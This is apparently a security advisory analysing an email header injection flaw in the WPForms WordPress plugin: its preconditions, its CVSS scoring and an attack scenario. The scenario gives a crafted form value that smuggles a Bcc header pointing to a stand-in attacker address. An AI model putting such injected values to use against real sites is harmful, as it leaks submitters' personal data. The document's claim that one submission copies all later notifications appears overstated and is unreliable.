WPForms EUVD-2026-40907

Exploitation requires that a site administrator has explicitly configured a form notification to use a Paragraph Text (textarea) field as the Reply-To display name source via a WPForms Smart Tag (e.g., a {field_id="N"} Smart Tag pointing to a textarea-type field). This is a non-default configuration - WPForms does not map textarea fields to the Reply-To display name by default. Sites that have not made this specific configuration change are NOT exploitable regardless of plugin version. Once the configuration is present, no authentication is required (confirmed PR:N from CVSS vector) and no attacker-side user interaction is needed (UI:N); a standard HTTP form submission is sufficient. Limiting factors for defenders are: (1) the non-default admin configuration mapping a textarea Smart Tag to the Reply-To display name must exist, (2) active email notifications must be enabled for the affected form, and (3) the form must be reachable by unauthenticated users. The vulnerability does not enable privilege escalation, code execution, or lateral movement - impact is confined to silent exfiltration of notification email content.

The reported CVSS 3.1 score of 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) accurately reflects network accessibility and the absence of authentication requirements, but the C:N rating understates real-world impact: successful exploitation silently copies all notification emails - which typically contain form submission data including PII such as names, contact details, and message content - to an attacker-controlled address, representing a genuine confidentiality breach that warrants at minimum C:L. Additionally, while AC:L is defensible from a pure attack-mechanics standpoint (the attacker simply submits a form), the attack is gated on a non-default administrator configuration mapping a textarea field to the Reply-To display name, a prerequisite the attacker cannot establish, which meaningfully narrows the exploitable population compared to a blanket low-complexity reading. EPSS data was not provided in the intelligence feed, so probabilistic exploitation likelihood cannot be quantified. No KEV listing and no proof-of-concept code have been identified, placing this in a moderate real-world risk tier: high-impact where the specific configuration is present, but not universally exploitable across all WPForms deployments.

An attacker identifies a WordPress site running WPForms where a public-facing form has been configured to use a Paragraph Text (textarea) field as the Reply-To display name via a Smart Tag - a configuration sometimes used to dynamically echo a submitter's freeform name into the reply header. The attacker submits the form with a crafted textarea value such as Attacker Name Bcc: attacker@evil.com, which passes through wpforms_sanitize_textarea_field() with the CRLF intact and is concatenated unstripped into the outgoing Reply-To: header. From that submission forward, every notification email the site sends for that form - potentially containing other users' names, email addresses, messages, or payment confirmation details - is silently blind-copied to the attacker's inbox. No public proof-of-concept code has been identified at time of analysis.